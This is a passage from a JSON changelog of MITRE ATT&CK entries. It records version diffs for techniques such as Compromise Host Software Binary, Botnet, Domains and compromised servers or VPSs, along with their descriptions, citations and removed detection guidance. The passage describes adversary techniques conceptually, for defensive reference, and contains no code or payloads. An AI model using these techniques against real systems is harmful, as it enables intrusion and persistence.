Service](https://attack.mitre.org/techniques/T1566/003)).\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0021: Persona (Social Media)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0870: Detection of Social Media Accounts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:18:34.279000+00:00", + "modified": "2025-10-24 17:49:07.572000+00:00", + "name": "Compromise Host Software Binary", + "description": "Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\n\nAdversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)\n\nAn adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\n\nAfter modifying a binary, an adversary may attempt to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1554", + "external_id": "T1554" + }, + { + "source_name": "Google Cloud Mandiant UNC3886 2024", + "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations" + }, + { + "source_name": "Unit42 Banking Trojans Hooking 2022", + "description": "Or Chechik. (2022, October 31). Banking Trojan Techniques: How Financially Motivated Malware Became Infrastructure. Retrieved September 27, 2023.", + "url": "https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n" + }, + { + "source_name": "ESET FontOnLake Analysis 2021", + "description": "Vladislav Hr\u010dka. (2021, January 1). FontOnLake. Retrieved September 27, 2023.", + "url": "https://web-assets.esetstatic.com/wls/2021/10/eset_fontonlake.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "CrowdStrike Falcon OverWatch", + "Liran Ravich, CardinalOps", + "Jamie Williams (U \u03c9 U), PANW Unit 42" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "ESXi" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Deletion\", \"File: File Modification\", \"File: File Metadata\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:07.572000+00:00\", \"old_value\": \"2025-04-15 19:58:52.206000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \\n\\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \\n-\\n-Consider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1045: Code Signing" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Creation)", + "DS0022: File (File Deletion)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0336: Detect Compromise of Host Software Binaries" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 00:36:30.759000+00:00", + "modified": "2025-10-24 17:49:01.181000+00:00", + "name": "Compromise Infrastructure", + "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) Adversaries may also compromise numerous machines to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services or to form a botnet.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking) Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) via [Wi-Fi Networks](https://attack.mitre.org/techniques/T1669).(Citation: Nearest Neighbor Volexity)\n\nBy using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1584", + "external_id": "T1584" + }, + { + "source_name": "amnesty_nso_pegasus", + "description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group\u2019s Pegasus. Retrieved February 22, 2022.", + "url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/" + }, + { + "source_name": "Sysdig Proxyjacking", + "description": "Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.", + "url": "https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/" + }, + { + "source_name": "FireEye DNS Hijack 2019", + "description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html" + }, + { + "source_name": "ICANNDomainNameHijacking", + "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved November 17, 2024.", + "url": "https://www.icann.org/en/ssac/registration-services/documents/sac-007-domain-name-hijacking-incidents-threats-risks-and-remediation-12-07-2005-en" + }, + { + "source_name": "Koczwara Beacon Hunting Sep 2021", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" + }, + { + "source_name": "Nearest Neighbor Volexity", + "description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.", + "url": "https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "Talos DNSpionage Nov 2018", + "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.", + "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html" + }, + { + "source_name": "NSA NCSC Turla OilRig", + "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.", + "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf" + }, + { + "source_name": "Mandiant SCANdalous Jul 2020", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + }, + { + "source_name": "FireEye EPS Awakens Part 2", + "description": "Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "url": "https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jeremy Galloway", + "Shailesh Tiwary (Indian Army)", + "Menachem Goldstein", + "Cian Heasley", + "Rouven Bissinger (SySS GmbH)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\", \"Domain Name: Domain Registration\", \"Domain Name: Active DNS\", \"Domain Name: Passive DNS\", \"Internet Scan: Response Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.181000+00:00\", \"old_value\": \"2025-04-15 19:58:45.612000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. \\n\\nOnce adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. \\n-\\n-Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)", + "DS0035: Internet Scan (Response Metadata)", + "DS0038: Domain Name (Active DNS)", + "DS0038: Domain Name (Domain Registration)", + "DS0038: Domain Name (Passive DNS)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0885: Detection of Compromise Infrastructure" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 00:58:35.269000+00:00", + "modified": "2025-10-24 17:49:02.197000+00:00", + "name": "Botnet", + "description": "Adversaries may compromise numerous third-party systems to form a botnet\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1584/005", + "external_id": "T1584.005" + }, + { + "source_name": "Dell Dridex Oct 2015", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.", + "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation" + }, + { + "source_name": "Imperva DDoS for Hire", + "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.", + "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/" + }, + { + "source_name": "Norton Botnet", + "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.", + "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.197000+00:00\", \"old_value\": \"2025-04-16 13:38:12.734000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0883: Detection of Botnet" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 00:51:28.513000+00:00", + "modified": "2025-10-24 17:49:38.448000+00:00", + "name": "Domains", + "description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53).(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)\n\nAdversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1584/001", + "external_id": "T1584.001" + }, + { + "source_name": "Krebs DNS Hijack 2019", + "description": "Brian Krebs. (2019, February 18). A Deep Dive on the Recent Widespread DNS Hijacking Attacks. Retrieved February 14, 2022.", + "url": "https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/" + }, + { + "source_name": "ICANNDomainNameHijacking", + "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved November 17, 2024.", + "url": "https://www.icann.org/en/ssac/registration-services/documents/sac-007-domain-name-hijacking-incidents-threats-risks-and-remediation-12-07-2005-en" + }, + { + "source_name": "Palo Alto Unit 42 Domain Shadowing 2022", + "description": "Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.", + "url": "https://unit42.paloaltonetworks.com/domain-shadowing/" + }, + { + "source_name": "Microsoft Sub Takeover 2020", + "description": "Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.", + "url": "https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jeremy Galloway" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Domain Name: Passive DNS\", \"Domain Name: Domain Registration\", \"Domain Name: Active DNS\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.448000+00:00\", \"old_value\": \"2025-04-15 22:22:55.487000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0038: Domain Name (Active DNS)", + "DS0038: Domain Name (Domain Registration)", + "DS0038: Domain Name (Passive DNS)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0863: Detection of Domains" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 00:56:25.135000+00:00", + "modified": "2025-10-24 17:49:30.616000+00:00", + "name": "Server", + "description": "Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.(Citation: TrendMicro EarthLusca 2022) Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1584/004", + "external_id": "T1584.004" + }, + { + "source_name": "TrendMicro EarthLusca 2022", + "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.", + "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf" + }, + { + "source_name": "Koczwara Beacon Hunting Sep 2021", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" + }, + { + "source_name": "Mandiant SCANdalous Jul 2020", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dor Edry, Microsoft" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\", \"Internet Scan: Response Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:30.616000+00:00\", \"old_value\": \"2025-04-15 23:05:41.313000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)", + "DS0035: Internet Scan (Response Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0874: Detection of Server" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 00:55:17.771000+00:00", + "modified": "2025-10-24 17:48:40.055000+00:00", + "name": "Virtual Private Server", + "description": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1584/003", + "external_id": "T1584.003" + }, + { + "source_name": "Koczwara Beacon Hunting Sep 2021", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" + }, + { + "source_name": "NSA NCSC Turla OilRig", + "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.", + "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf" + }, + { + "source_name": "Mandiant SCANdalous Jul 2020", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\", \"Internet Scan: Response Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:40.055000+00:00\", \"old_value\": \"2025-04-15 23:19:04.087000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant 